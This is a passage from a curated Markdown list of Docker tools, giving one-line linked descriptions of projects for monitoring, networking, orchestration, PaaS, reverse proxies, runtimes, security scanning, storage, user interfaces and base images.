- [Docker-Flow-Monitor](https://github.com/docker-flow/docker-flow-monitor) - Reconfigures Prometheus when a new service is updated or deployed automatically by [@docker-flow][docker-flow]
- [Dockerana](https://github.com/dockerana/dockerana) :skull: - packaged version of Graphite and Grafana, specifically targeted at metrics from Docker.
- [DockProc](https://gitlab.com/n0r1sk/dockproc) - I/O monitoring for containers on processlevel.
- [dockprom](https://github.com/stefanprodan/dockprom) - Docker hosts and containers monitoring with Prometheus, Grafana, cAdvisor, NodeExporter and AlertManager by [@stefanprodan](https://github.com/stefanprodan)
- [Doku](https://github.com/amerkurev/doku) - Doku is a simple web-based application that allows you to monitor Docker disk usage. [@amerkurev](https://github.com/amerkurev)
- [Dozzle](https://github.com/amir20/dozzle) - Monitor container logs in real-time with a browser or mobile device. [@amir20](https://github.com/amir20)
- [Dynatrace](https://www.dynatrace.com/solutions/container-monitoring/) :heavy_dollar_sign: - Monitor containerized applications without installing agents or modifying your Run commands
- [Glances](https://github.com/nicolargo/glances) - A cross-platform curses-based system monitoring tool written in Python by [@nicolargo](https://github.com/nicolargo)
- [Grafana Docker Dashboard Template](https://grafana.com/grafana/dashboards/179-docker-prometheus-monitoring/) - A template for your Docker, Grafana and Prometheus stack [@vegasbrianc][vegasbrianc]
- [HertzBeat](https://github.com/dromara/hertzbeat) - An open-source real-time monitoring system with custom-monitor and agentless.
- [InfluxDB, cAdvisor, Grafana](https://github.com/vegasbrianc/docker-monitoring) - InfluxDB Time series DB in combination with Grafana and cAdvisor by [@vegasbrianc][vegasbrianc]
- [LogJam](https://github.com/gocardless/logjam) - Logjam is a log forwarder designed to listen on a local port, receive log entries over UDP, and forward these messages on to a log collection server (such as logstash) by [@gocardless](https://github.com/gocardless)
- [Logspout](https://github.com/gliderlabs/logspout) - Log routing for Docker container logs by [@gliderlabs][gliderlabs]
- [monit-docker](https://github.com/decryptus/monit-docker) - Monitor docker containers resources usage or status and execute docker commands or inside containers. [@decryptus][decryptus]
- [NexClipper](https://github.com/NexClipper/NexClipper) - NexClipper is the container monitoring and performance management solution specialized in Docker, Apache Mesos, Marathon, DC/OS, Mesosphere, Kubernetes by [@Nexclipper](https://github.com/NexClipper)
- [Out-of-the-box Host/Container Monitoring/Logging/Alerting Stack](https://github.com/uschtwill/docker_monitoring_logging_alerting) - Docker host and container monitoring, logging and alerting out of the box using cAdvisor, Prometheus, Grafana for monitoring, Elasticsearch, Kibana and Logstash for logging and elastalert and Alertmanager for alerting. Set up in 5 Minutes. Secure mode for production use with built-in [Automated Nginx Reverse Proxy (jwilder's)][nginxproxy].
- [Sidekick](https://github.com/runsidekick/sidekick) 💲 - Open source live application debugger like Chrome DevTools for your backend. Collect traces and generate logs on-demand without stopping & redeploying your applications.
- [SuperVisor CPM](https://t0xic0der.medium.com/simply-accessible-container-performance-monitoring-with-supervisor-7fb47f925f3b) [Frontend Service](https://github.com/t0xic0der/supervisor-frontend-service/) and [Driver Service](https://github.com/t0xic0der/supervisor-driver-service/) :construction: - A simple and accessible FOSS container performance monitoring service written in Python by [@t0xic0der](https://github.com/t0xic0der/)
- [SwarmAlert](https://github.com/gpulido/SwarmAlert) - Monitors a Docker Swarm and sends Pushover alerts when it finds a container with no healthy service task running.
- [Zabbix Docker module](https://github.com/monitoringartist/Zabbix-Docker-Monitoring) - Zabbix module that provides discovery of running containers, CPU/memory/blk IO/net container metrics. Systemd Docker and LXC execution driver is also supported. It's a dynamically linked shared object library, so its performance is (~10x) better, than any script solution.
- [Zabbix Docker](https://github.com/gomex/docker-zabbix) - Monitor containers automatically using zabbix LLD feature.
### Networking
- [Calico][calico] - Calico is a pure layer 3 virtual network that allows containers over multiple docker-hosts to talk to each other.
- [Flannel](https://github.com/coreos/flannel/) - Flannel is a virtual network that gives a subnet to each host for use with container runtimes. By [@coreos][coreos]
- [Freeflow](https://github.com/Microsoft/Freeflow) - High performance container overlay networks on Linux. Enabling RDMA (on both InfiniBand and RoCE) and accelerating TCP to bare metal performance. By [@Microsoft](https://github.com/Microsoft)
- [netshoot](https://github.com/nicolaka/netshoot) - The netshoot container has a powerful set of networking tools to help troubleshoot Docker networking issues by [@nicolaka](https://github.com/nicolaka)
- [Pipework](https://github.com/jpetazzo/pipework) - Software-Defined Networking for Linux Containers, Pipework works with "plain" LXC containers, and with the awesome Docker. By [@jpetazzo][jpetazzo]
- [Weave][weave] (The Docker network) - Weave creates a virtual network that connects Docker containers deployed across multiple hosts.
### Orchestration
- [Ansible Linux Docker](https://github.com/Peco602/ansible-linux-docker) - Run Ansible from a Linux container. By [@Peco602][peco602]
- [athena](https://github.com/athena-oss/athena) - An automation platform with a plugin architecture that allows you to easily create and share services.
- [blimp](https://github.com/tubesandlube/blimp) :skull: - Uses Docker Machine to easily move a container from one Docker host to another, show containers running against all of your hosts, replicate a container across multiple hosts and more by [@defermat](https://github.com/defermat) and [@schvin](https://github.com/schvin)
- [CloudSlang](https://github.com/CloudSlang/cloud-slang) - CloudSlang is a workflow engine to create Docker process automation
- [clusterdock](https://github.com/clusterdock/clusterdock) - Docker container orchestration to enable the testing of long-running cluster deployments
- [Crane](https://github.com/Dataman-Cloud/crane) - Control plane based on docker built-in swarm [@Dataman-Cloud](https://github.com/Dataman-Cloud)
- [Docker Flow Swarm Listener](https://github.com/docker-flow/docker-flow-swarm-listener) - Docker Flow Swarm Listener project is to listen to Docker Swarm events and send requests when a change occurs. By [@docker-flow][docker-flow]
- [docker rollout](https://github.com/Wowu/docker-rollout) - Zero downtime deployment for Docker Compose services by [@Wowu](https://github.com/Wowu)
- [gantryd](https://github.com/DevTable/gantryd) :skull: - A framework for easy management of docker-based components across machines by [@DevTable](https://github.com/DevTable)
- [Haven](https://github.com/codeabovelab/haven-platform) - Haven is a simplified container management platform that integrates container, application, cluster, image, and registry managements. By [@codeabovelab](https://github.com/codeabovelab)
- [Helios](https://github.com/spotify/helios) :skull: - A simple platform for deploying and managing containers across an entire fleet of servers by [@spotify][spotify]
- [Kontena](https://github.com/kontena/kontena) :skull: - The developer friendly container and micro services platform. Works on any cloud, easy to setup, simple to use.
- [Kubernetes](https://github.com/kubernetes/kubernetes) - Open source orchestration system for Docker containers by Google
- [ManageIQ](https://github.com/ManageIQ/manageiq) - Discover, optimize and control your hybrid IT. By [ManageIQ](https://github.com/ManageIQ)
- [Mantl](https://github.com/mantl/mantl) - Mantl is a modern platform for rapidly deploying globally distributed services
- [Marathon](https://github.com/mesosphere/marathon) - Marathon is a private PaaS built on Mesos. It automatically handles hardware or software failures and ensures that an app is "always on"
- [Mesos](https://github.com/apache/mesos) - Resource/Job scheduler for containers, VM's and physical hosts [@apache](https://mesos.apache.org/)
- [Nebula](https://github.com/nebula-orchestrator) - A Docker orchestration tool designed to manage massive scale distributed clusters.
- [Nomad](https://github.com/hashicorp/nomad) - Easily deploy applications at any scale. A Distributed, Highly Available, Datacenter-Aware Scheduler by [@hashicorp](https://github.com/hashicorp)
- [Panamax](https://github.com/CenturyLinkLabs/panamax-ui) :skull: - An open-source project that makes deploying complex containerized apps as easy as Drag-and-Drop by [@CenturyLinkLabs][centurylinklabs].
- [Rancher](https://github.com/rancher/rancher) - An open source project that provides a complete platform for operating Docker in production by [@rancher][rancher].
- [RedHerd Framework](https://github.com/redherd-project/redherd-framework) - RedHerd is a collaborative and serverless framework for orchestrating a geographically distributed group of assets capable of simulating complex offensive cyberspace operations. By [@RedHerdProject](https://github.com/redherd-project).
- [Swarm-cronjob](https://github.com/crazy-max/swarm-cronjob) - Create jobs on a time-based schedule on Swarm by [@crazy-max]
### PaaS
- [Atlantis](https://github.com/ooyala/atlantis) :skull: - Atlantis is an Open Source PaaS for HTTP applications built on Docker and written in Go
- [caprover](https://github.com/caprover/caprover) - [previously known as CaptainDuckDuck] Automated Scalable Webserver Package (automated Docker+nginx) - Heroku on Steroids
- [Convox Rack](https://github.com/convox/rack) - Convox Rack is open source PaaS built on top of expert infrastructure automation and devops best practices.
- [Dcw](https://github.com/pbertera/dcw) - Docker-compose SSH wrapper: a very poor man PaaS, exposing the docker-compose and custom-container commands defined in container labels.
- [Dokku](https://github.com/dokku/dokku) - Docker powered mini-Heroku that helps you build and manage the lifecycle of applications (originally by [@progrium][progrium])
- [Empire](https://github.com/remind101/empire) - A PaaS built on top of Amazon EC2 Container Service (ECS)
- [Exoframe](https://github.com/exoframejs/exoframe) - A self-hosted tool that allows simple one-command deployments using Docker
- [Flynn](https://github.com/flynn/flynn) :skull: - A next generation open source platform as a service
- [Hephy Workflow](https://github.com/teamhephy/workflow) - Open source PaaS for Kubernetes that adds a developer-friendly layer to any Kubernetes cluster, making it easy to deploy and manage applications. Fork of [Deis Workflow](https://github.com/deis/workflow)
- [Krane](https://github.com/krane/krane) - Toolset for managing container workloads on remote servers
- [Nanobox](https://github.com/nanobox-io/nanobox) :heavy_dollar_sign: - An application development platform that creates local environments that can then be deployed and scaled in the cloud.
- [OpenShift][openshift] - An open source PaaS built on [Kubernetes][kubernetes] and optimized for Dockerized app development and deployment by [Red Hat](https://www.redhat.com/en)
- [Tsuru](https://github.com/tsuru/tsuru) - Tsuru is an extensible and open source Platform as a Service software
### Reverse Proxy
- [bunkerized-nginx](https://github.com/bunkerity/bunkerized-nginx) - Web app hosting and reverse proxy secure by default. By [@bunkerity](https://github.com/bunkerity)
- [Docker Dnsmasq Updater](https://github.com/moonbuggy/docker-dnsmasq-updater) - Update a remote dnsmasq server with Docker container hostnames.
- [docker-flow-proxy](https://github.com/docker-flow/docker-flow-proxy) - Reconfigures proxy every time a new service is deployed, or when a service is scaled. By [@docker-flow][docker-flow]
- [docker-proxy](https://github.com/silarsis/docker-proxy) :skull: - Transparent proxy for docker containers, run in a docker container. By [@silarsis](https://github.com/silarsis)
- [fabio](https://github.com/fabiolb/fabio) - A fast, modern, zero-conf load balancing HTTP(S) router for deploying microservices managed by consul. By [@magiconair](https://github.com/magiconair) (Frank Schroeder)
- [h2o-proxy](https://github.com/zchee/h2o-proxy) :skull: - Automated H2O reverse proxy for Docker containers. An alternative to [jwilder/nginx-proxy][nginxproxy] by [@zchee](https://github.com/zchee)
- [Let's Encrypt Nginx-proxy Companion](https://github.com/nginx-proxy/docker-letsencrypt-nginx-proxy-companion) - A lightweight companion container for the nginx-proxy. It allow the creation/renewal of Let's Encrypt certificates automatically. By [@JrCs](https://github.com/JrCs)
- [muguet](https://github.com/mattallty/muguet) :skull: - DNS Server & Reverse proxy for Docker environments. By [@mattallty](https://github.com/mattallty)
- [Nginx Proxy Manager](https://github.com/jc21/nginx-proxy-manager) - A beautiful web interface for proxying web based services with SSL. By [@jc21](https://github.com/jc21)
- [nginx-proxy][nginxproxy] - Automated nginx proxy for Docker containers using docker-gen by [@jwilder][jwilder]
- [Swarm Ingress Router](https://github.com/tpbowden/swarm-ingress-router) :skull: - Route DNS names to Swarm services based on labels. By [@tpbowden](https://github.com/tpbowden/)
- [Swarm Router](https://github.com/flavioaiello/swarm-router) - A «zero config» service name based router for docker swarm mode with a fresh and more secure approach. By [@flavioaiello](https://github.com/flavioaiello)
- [Træfɪk](https://github.com/containous/traefik) - Automated reverse proxy and load-balancer for Docker, Mesos, Consul, Etcd... By [@EmileVauge](https://github.com/emilevauge)
### Runtime
- [aind](https://github.com/aind-containers/aind) - AinD launches Android apps in Docker, by nesting Anbox containers inside Docker by [@aind-containers](https://github.com/aind-containers)
- [cri-o](https://github.com/cri-o/cri-o) - Open Container Initiative-based implementation of Kubernetes Container Runtime Interface by [cri-o](https://github.com/cri-o)
- [lxc](https://github.com/lxc/lxc) - LXC - Linux Containers
- [podman](https://github.com/containers/libpod) - libpod is a library used to create container pods. Home of Podman by [@containers][containers]
- [rlxc](https://github.com/brauner/rlxc) - LXC binary written in Rust by [@brauner](https://github.com/brauner)
- [runtime-tools](https://github.com/opencontainers/runtime-tools) - oci-runtime-tool is a collection of tools for working with the OCI runtime specification by [@opencontainers](https://github.com/opencontainers)
### Security
- [Anchor Engine](https://github.com/anchore/anchore) - Analyze images for CVE vulnerabilities and against custom security policies by [@Anchor](https://github.com/anchore)
- [Aqua Security](https://www.aquasec.com) :heavy_dollar_sign: - Securing container-based applications from Dev to Production on any platform
- [bane](https://github.com/genuinetools/bane) - AppArmor profile generator for Docker containers by [@genuinetools][genuinetools]
- [CetusGuard](https://github.com/hectorm/cetusguard) - CetusGuard is a tool that protects the Docker daemon socket by filtering calls to its API endpoints
- [CIS Docker Benchmark](https://github.com/dev-sec/cis-docker-benchmark) - This [InSpec][inspec] compliance profile implement the CIS Docker 1.12.0 Benchmark in an automated way to provide security best-practice tests around Docker daemon and containers in a production environment. By [@dev-sec](https://github.com/dev-sec)
- [Checkov](https://github.com/bridgecrewio/checkov) - Static analysis for infrastructure as code manifests (Terraform, Kubernetes, Cloudformation, Helm, Dockerfile, Kustomize) find security misconfiguration and fix them. By [@bridgecrew](https://github.com/bridgecrewio)
- [Clair](https://github.com/quay/clair) - Clair is an open source project for the static analysis of vulnerabilities in appc and docker containers. By [@coreos][coreos]
- [Dagda](https://github.com/eliasgranderubio/dagda) - Dagda is a tool to perform static analysis of known vulnerabilities, trojans, viruses, malware & other malicious threats in docker images/containers and to monitor the docker daemon and running docker containers for detecting anomalous activities. By [@eliasgranderubio](https://github.com/eliasgranderubio)
- [Deepfence Enterprise](https://deepfence.io) :heavy_dollar_sign: - Full life cycle Cloud Native Workload Protection platform for kubernetes, virtual machines and serverless. By [@deepfence][deepfence]
- [Deepfence Threat Mapper](https://github.com/deepfence/ThreatMapper) - Powerful runtime vulnerability scanner for kubernetes, virtual machines and serverless. By [@deepfence][deepfence]
- [docker-bench-security](https://github.com/docker/docker-bench-security) - script that checks for dozens of common best-practices around deploying Docker containers in production. By [@docker][docker]
- [docker-explorer](https://github.com/google/docker-explorer) - A tool to help forensicate offline docker acquisitions by [@Google][google]
- [docker-lock](https://github.com/safe-waters/docker-lock) - A cli-plugin for docker to automatically manage image digests by tracking them in a separate Lockfile. By [@safe-waters][safe-waters]
- [dvwassl](https://github.com/Peco602/dvwassl) - SSL-enabled Damn Vulnerable Web App to test Web Application Firewalls. By [@Peco602][peco602]
- [KICS](https://github.com/checkmarx/kics) - an infrastructure-as-code scanning tool, find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle. Can be extended for additional policies. By [Checkmarx](https://github.com/Checkmarx)
- [notary](https://github.com/theupdateframework/notary) - a server and a client for running and interacting with trusted collections. By [@TUF](https://github.com/theupdateframework)
- [oscap-docker](https://github.com/OpenSCAP/openscap) - OpenSCAP provides oscap-docker tool which is used to scan Docker containers and images. By [OpenSCAP](https://github.com/OpenSCAP)
- [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) :heavy_dollar_sign: - (previously Twistlock Security Suite) detects vulnerabilities, hardens container images, and enforces security policies across the lifecycle of applications.
- [Sysdig Falco](https://github.com/falcosecurity/falco) - Sysdig Falco is an open source container security monitor. It can monitor application, container, host, and network activity and alert on unauthorized activity.
- [Sysdig Secure](https://sysdig.com/use-cases/cloud-threat-detection-and-response/) :heavy_dollar_sign: - Sysdig Secure addresses run-time security through behavioral monitoring and defense, and provides deep forensics based on open source Sysdig for incident response.
- [Trend Micro DeepSecurity](https://www.trendmicro.com/en_us/business/products/hybrid-cloud/deep-security.html) :heavy_dollar_sign: - Trend Micro DeepSecurity offers runtime protection for container workloads and hosts as well as preruntime scanning of images to identify vulnerabilities, malware and content such as hardcoded secrets.
- [Trivy](https://github.com/aquasecurity/trivy) - Aqua Security's open source simple and comprehensive vulnerability scanner for containers (suitable for CI).
### Service Discovery
- [docker-consul](https://github.com/gliderlabs/docker-consul) by [@progrium][progrium]
- [etcd](https://github.com/etcd-io/etcd) - Distributed reliable key-value store for the most critical data of a distributed system by [@etcd-io](https://github.com/etcd-io) (former part of CoreOS)
- [istio](https://github.com/istio/istio) - An open platform to connect, manage, and secure microservices by [@istio](https://github.com/istio)
- [proxy](https://github.com/factorish/proxy) :skull: - lightweight nginx based load balancer self using service discovery provided by registrator. by [@factorish](https://github.com/factorish)
- [registrator](https://github.com/gliderlabs/registrator) - Service registry bridge for Docker by [@gliderlabs][gliderlabs] and [@progrium][progrium]
### Volume Management / Data
- [Blockbridge](https://github.com/blockbridge/blockbridge-docker-volume) :heavy_dollar_sign:- The Blockbridge plugin is a volume plugin that provides access to an extensible set of container-based persistent storage options. It supports single and multi-host Docker environments with features that include tenant isolation, automated provisioning, encryption, secure deletion, snapshots and QoS. By [@blockbridge](https://github.com/blockbridge)
- [Convoy](https://github.com/rancher/convoy) :skull: - an open-source Docker volume driver that can snapshot, backup and restore Docker volumes anywhere. By [@rancher][rancher]
- [Docker Machine NFS](https://github.com/adlogix/docker-machine-nfs) Activates NFS for an existing boot2docker box created through Docker Machine on OS X.
- [Docker Unison](https://github.com/leighmcculloch/docker-unison) A docker volume container using Unison for fast two-way folder sync. Created as an alternative to slow boot2docker volumes on OS X. By [@leighmcculloch](https://github.com/leighmcculloch)
- [Docker Volume Backup](https://github.com/offen/docker-volume-backup) Backup Docker volumes locally or to any S3 compatible storage. By [@offen](https://github.com/offen)
- [Local Persist](https://github.com/MatchbookLab/local-persist) Specify a mountpoint for your local volumes (created via `docker volume create`) so that files will always persist and so you can mount to different directories in different containers.
- [Minio](https://github.com/minio/minio) - S3 compatible object storage server in Docker containers
- [Netshare](https://github.com/ContainX/docker-volume-netshare) Docker NFS, AWS EFS, Ceph & Samba/CIFS Volume Plugin. By [@ContainX][containx]
- [portworx](https://portworx.com) :heavy_dollar_sign: - Decentralized storage solution for persistent, shared and replicated volumes.
- [quobyte](https://www.quobyte.com/) :heavy_dollar_sign: - fully fault-tolerant distributed file system with a docker volume driver
- [REX-Ray](https://github.com/rexray/rexray) provides a vendor agnostic storage orchestration engine. The primary design goal is to provide persistent storage for Docker, Kubernetes, and Mesos. By[@thecodeteam](https://github.com/thecodeteam) (DELL Technologies)
- [Storidge](https://github.com/Storidge/quick-start) :heavy_dollar_sign: - Software-defined Persistent Storage for Kubernetes and Docker Swarm
### User Interface
#### IDE integrations
- JetBrains IDEs (IntelliJ IDEA, GoLand, WebStorm, CLion etc.) has [built-in Docker plugin](https://www.jetbrains.com/help/idea/docker.html#managing-images)
- Eclipse [Docker Tooling plugin](https://www.eclipse.org/community/eclipse_newsletter/2016/july/article2.php)
- [docker.vim](https://github.com/skanehira/docker.vim) - Manage docker containers and images in Vim. By [@skanehira]
- [docker.el](https://github.com/Silex/docker.el) Manage docker from Emacs by [@Silex](https://github.com/Silex)
#### Desktop
Native desktop applications for managing and montoring docker hosts and clusters
- [Docker Desktop](https://www.docker.com/products/docker-desktop/) - Official native app. Only for Windows and MacOS
- [Dockeron](https://github.com/dockeron/dockeron) - A project built on Electron + Vue.js for Docker on desktop. [@fluency03](https://github.com/fluency03)
- [DockStation](https://github.com/DockStation/dockstation) - A developer centric UI to configure, monitor, and manage services and containers [@dock_station](https://twitter.com/dock_station)
- [Lifeboat](https://github.com/jplhomer/lifeboat) - An easy way to launch Docker projects with a graphical interface on your Mac. [@jplhomer](https://github.com/jplhomer)
- [Simple Docker UI](https://github.com/felixgborrego/simple-docker-ui) - built on Electron. By [@felixgborrego](https://github.com/felixgborrego/)
- [Stevedore](https://github.com/slonopotamus/stevedore) - Good Docker Desktop replacement for Windows. Both Linux and Windows Containers are supported. [@slonopotamus](https://github.com/slonopotamus)
#### Terminal
##### Terminal UI
- [ctop (1)](https://github.com/yadutaf/ctop) - :skull: A command line / text based Linux Containers monitoring tool that works just like you expect (Python) by [@yadutaf](https://github.com/yadutaf)
- [ctop (2)](https://github.com/bcicen/ctop) - Top-like interface for container metrics (Golang) by [@bcicen](https://github.com/bcicen/)
- [dive](https://github.com/wagoodman/dive) - A tool for exploring each layer in a docker image. By [wagoodman](https://github.com/wagoodman).
- [dockdash](https://github.com/byrnedo/dockdash) detailed stats. By [@byrnedo]
- [Docker-mon](https://github.com/icecrime/docker-mon) :skull: - Console-based Docker monitoring by [@icecrime](https://github.com/icecrime)
- [dockly](https://github.com/lirantal/dockly) - An interactive shell UI for managing Docker containers by [@lirantal](https://github.com/lirantal)
- [DockSTARTer](https://github.com/GhostWriters/DockSTARTer) - DockSTARTer helps you get started with home server apps running in Docker by [GhostWriters](https://github.com/GhostWriters)
- [docui](https://github.com/skanehira/docui) - :skull: An interactive shell UI for managing Docker containers. Also works in Windows. By [@skanehira]
- [dry](https://github.com/moncho/dry) - An interactive CLI for Docker containers by [@moncho](https://github.com/moncho)
- [lazydocker](https://github.com/jesseduffield/lazydocker) - The lazier way to manage everything docker. A simple terminal UI for both docker and docker-compose, written in Go with the gocui library. By [@jesseduffield](https://github.com/jesseduffield)
- [sen](https://github.com/TomasTomecek/sen) - :skull: Terminal user interface for docker engine, by [@TomasTomecek][tomastomecek]
##### CLI tools
- [captain](https://github.com/jenssegers/captain) - Easily start and stop docker compose projects from any directory. By [@jenssegers](https://github.com/jenssegers)
- [dcinja](https://github.com/Falldog/dcinja) - The powerful and smallest binary size of template engine for docker command line environment. By [@Falldog](https://github.com/Falldog)
- [dcp](https://github.com/exdx/dcp) - A simple tool for copying files from container filesystems. By [@exdx](https://github.com/exdx)
- [dctl](https://github.com/FabienD/docker-stack) - dctl is a Cli tool that helps developers by allowing them to execute all docker compose commands anywhere in the terminal, and more. By [FabienD](https://github.com/FabienD)
- [docker-ls](https://github.com/mayflower/docker-ls) - CLI tools for browsing and manipulating docker registries by [@mayflower](https://github.com/mayflower)
- [docker pushrm](https://github.com/christian-korneck/docker-pushrm) - A Docker CLI plugin that lets you push the README.md file from the current directory to Docker Hub. Also supports Quay and Harbor. By [@christian-korneck](https://github.com/christian-korneck)
- [dockersql](https://github.com/crosbymichael/dockersql) - :skull: A command line interface to query Docker using SQL by [@crosbymichael](https://github.com/crosbymichael)
- [DVM](https://github.com/howtowhale/dvm) - Docker version manager by [@howtowhale](https://github.com/howtowhale)
- [goinside](https://github.com/iamsoorena/goinside) - Get inside a running docker container easily. by [@iamsoorena](https://github.com/iamsoorena)
- [ns-enter](https://github.com/jpetazzo/nsenter) - :skull: no more ssh, enter name spaces of container by [@jpetazzo][jpetazzo]
- [Pdocker](https://github.com/g31s/Pdocker) - A simple tool to manage and maintain Docker for personal projects by [@g31s](https://github.com/g31s)
- [proco](https://github.com/shiwaforce/poco) - Proco will help you to organise and manage Docker, Docker-Compose, Kubernetes projects of any complexity using simple YAML config files to shorten the route from finding your project to initialising it in your local environment. by [@shiwaforce](https://github.com/shiwaforce)
- [reg](https://github.com/genuinetools/reg) - :skull: Docker registry v2 command line client by [@genuinetools][genuinetools]
- [scuba](https://github.com/JonathonReinhart/scuba) - Transparently use Docker containers to encapsulate software build environments, by [@JonathonReinhart](https://github.com/JonathonReinhart)
- [skopeo](https://github.com/containers/skopeo) - Work with remote images registries - retrieving information, images, signing content by [@containers][containers]
- [supdock](https://github.com/segersniels/supdock) - Allows for slightly more visual usage of Docker with an interactive prompt. By [@segersniels](https://github.com/segersniels)
- [tsaotun](https://github.com/qazbnm456/tsaotun) - Python based Assistance for Docker by [@qazbnm456](https://github.com/qazbnm456)
- [wharfee](https://github.com/j-bennet/wharfee) - :skull: Autocompletion and syntax highlighting for Docker commands. by [@j-bennet](https://github.com/j-bennet)
##### Other
- [dext-docker-registry-plugin](https://github.com/vutran/dext-docker-registry-plugin) - Search the Docker Registry with the Dext smart launcher. By [@vutran](https://github.com/vutran)
- [docker-ssh](https://github.com/jeroenpeeters/docker-ssh) - SSH Server for Docker containers ~ Because every container should be accessible. By [@jeroenpeeters](https://github.com/jeroenpeeters)
- [dockercraft](https://github.com/docker/dockercraft) - Docker + Minecraft = Dockercraft by [@docker][docker]
- [dockerfile-mode](https://github.com/spotify/dockerfile-mode) An emacs mode for handling Dockerfiles by [@spotify][spotify]
- [MultiDocker](https://github.com/marty90/multidocker) - Create a secure multi-user Docker machine, where each user is segregated into an indepentent container.
- [Powerline-Docker](https://github.com/adrianmo/powerline-docker) - A Powerline segment for showing the status of Docker containers by [@adrianmo](https://github.com/adrianmo)
#### Web
- [Admiral](https://github.com/vmware/admiral) Admiral™ is a highly scalable and very lightweight Container Management platform for deploying and managing container based applications. By [VMWare][vmware]
- [CASA](https://github.com/knrdl/casa) - Outsource the administration of a handful of containers to your co-workers, by [@knrdl](https://github.com/knrdl)
- [Container Web TTY](https://github.com/wrfly/container-web-tty) - Connect your containers via a web-tty [@wrfly](https://github.com/wrfly)
- [Docker Compose UI](https://github.com/francescou/docker-compose-ui) - Manage docker-compose via HTTP. docker-compose-ui runs in a Docker container, mounts the hosts docker socket and exposes a RESTful API and AngularJS GUI
- [Docker Registry Browser](https://github.com/klausmeyer/docker-registry-browser) - Web Interface for the Docker Registry HTTP API v2 by [@klausmeyer](https://github.com/klausmeyer)
- [Docker Registry UI (Joxit)](https://github.com/Joxit/docker-registry-ui) - The simplest and cleanest UI for private registries by [@Joxit](https://github.com/Joxit)
- [Docker Registry UI](https://github.com/atcol/docker-registry-ui) - A web UI for easy private/local Docker Registry integration by [@atcol](https://github.com/atcol)
- [docker-registry-web](https://github.com/mkuchin/docker-registry-web) - Web UI, authentication service and event recorder for private docker registry v2 by [@mkuchin](https://github.com/mkuchin)
- [docker-swarm-visualizer](https://github.com/dockersamples/docker-swarm-visualizer) - Visualizes Docker services on a Docker Swarm (for running demos).
- [dockering-on-rails](https://github.com/Electrofenster/dockerding-on-rails) :skull: - Simple Web-Interface for Docker with a lot of features by [@Electrofenster](https://github.com/Electrofenster/)
- [DockerSurfer](https://github.com/Simone-Erba/DockerSurfer) :skull: - A web service for analyze and browse dependencies between Docker images in the Docker registry, by [@Simone-Erba](https://github.com/Simone-Erba/)
- [Kubevious](https://github.com/kubevious/kubevious) - A highly visual web UI for Kubernetes which renders configuration and state in an application centric way by [@rubenhak](https://github.com/rubenhak).
- [netdata](https://github.com/netdata/netdata) - Real-time performance monitoring
- [OctoLinker](https://github.com/OctoLinker/OctoLinker) - A browser extension for GitHub that makes the image name in a `Dockerfile` clickable and redirect you to the related Docker Hub page.
- [Portainer](https://github.com/portainer/portainer) - A lightweight management UI for managing your Docker hosts or Docker Swarm clusters by [@portainer](https://github.com/portainer)
- [Rapid Dashboard](https://github.com/ozlerhakan/rapid) - A simple query dashboard to use Docker Remote API by [@ozlerhakan](https://github.com/ozlerhakan/)
- [Seagull](https://github.com/tobegit3hub/seagull) - Friendly Web UI to monitor docker daemon. by [@tobegit3hub](https://github.com/tobegit3hub)
- [Swarmpit](https://github.com/swarmpit/swarmpit) - Swarmpit provides simple and easy to use interface for your Docker Swarm cluster. You can manage your stacks, services, secrets, volumes, networks etc.
- [Swirl](https://github.com/cuigh/swirl) - Swirl is a web management tool for Docker, focused on swarm cluster By [@cuigh](https://github.com/cuigh/)
- [Theia](https://github.com/eclipse-theia/theia) - Extensible platform to develop full-fledged multi-language Cloud & Desktop IDE-like products with state-of-the-art web technologies.
- [Yacht](https://github.com/SelfhostedPro/Yacht) :construction: - A Web UI for docker that focuses on templates and ease of use in order to make deployments as easy as possible. By [@SelfhostedPro](https://github.com/SelfhostedPro)
## Docker Images
### Base Tools
Tools and applications that are either installed inside containers or designed to be run as a [sidecar](https://learn.microsoft.com/en-us/azure/architecture/patterns/sidecar)
- [amicontained](https://github.com/genuinetools/amicontained) - Container introspection tool. Find out what container runtime is being used as well as features available by [@genuinetools][genuinetools]
- [Chaperone](https://github.com/garywiz/chaperone) - A single PID1 process designed for docker containers. Does user management, log management, startup, zombie reaping, all in one small package. by [@garywiz](https://github.com/garywiz)
- [ckron](https://github.com/nicomt/ckron) - A cron-style job scheduler for docker, by [@nicomt](https://github.com/nicomt)
- [CoreOS][coreos] - Linux for Massive Server Deployments
- [distroless](https://github.com/GoogleContainerTools/distroless) - Language focused docker images, minus the operating system, by [@GoogleContainerTools][googlecontainertools]
- [docker-alpine](https://github.com/gliderlabs/docker-alpine) - A super small Docker base image _(5MB)_ using Alpine Linux by [@gliderlabs][gliderlabs]
- [docker-gen](https://github.com/jwilder/docker-gen) - Generate files from docker container meta-data by [@jwilder][jwilder]
- [dockerize](https://github.com/powerman/dockerize) - Utility to simplify running applications in docker containers by [@jwilder][jwilder], [@powerman][powerman]
- [GoSu](https://github.com/tianon/gosu) - Run this specific application as this specific user and get out of the pipeline (entrypoint script tool) by [@tianon](https://github.com/tianon)
- [is-docker](https://github.com/sindresorhus/is-docker) - Check if the process is running inside a Docker container by [@sindresorhus][sindresorhus]
- [lstags](https://github.com/ivanilves/lstags) - sync Docker images across registries by [@ivanilves](https://github.com/ivanilves)
- [NVIDIA-Docker](https://github.com/NVIDIA/nvidia-docker) - The NVIDIA Container Runtime for Docker by [@NVIDIA][nvidia]
- [Ofelia](https://github.com/mcuadros/ofelia/) - Ofelia is a modern and low footprint job scheduler for docker environments, built on Go. Ofelia aims to be a replacement for the old fashioned cron. Supports configuration from container labels and/or configuration files.
- [su-exec](https://github.com/ncopa/su-exec) - This is a simple tool that will simply execute a program with different privileges. The program will be executed directly and not run as a child, like su and sudo does, which avoids TTY and signal issues. Why reinvent gosu? This does more or less exactly the same thing as gosu but it is only 10kb instead of 1.8MB. By [ncopa](https://github.com/ncopa)
- [sue](https://github.com/theAkito/sue) - Executes a program as a user different from the user running sue. This is a maintainable alternative to ncopa/su-exec, which is the better tianon/gosu. This one is far better (higher performance, smaller size), than the original gosu, however it is far easier to maintain, than su-exec, which is written in plain C. Made by [Akito][akito]
- [supercronic](https://github.com/aptible/supercronic) - crontab-compatible job runner, designed specifically to run in containers by [@aptible](https://github.com/aptible/)
- [TrivialRC](https://github.com/vorakl/TrivialRC) - A minimalistic Runtime Configuration system and process manager for containers [@vorakl](https://github.com/vorakl)
### Builder
Applications designed to help or simplify building **new** images
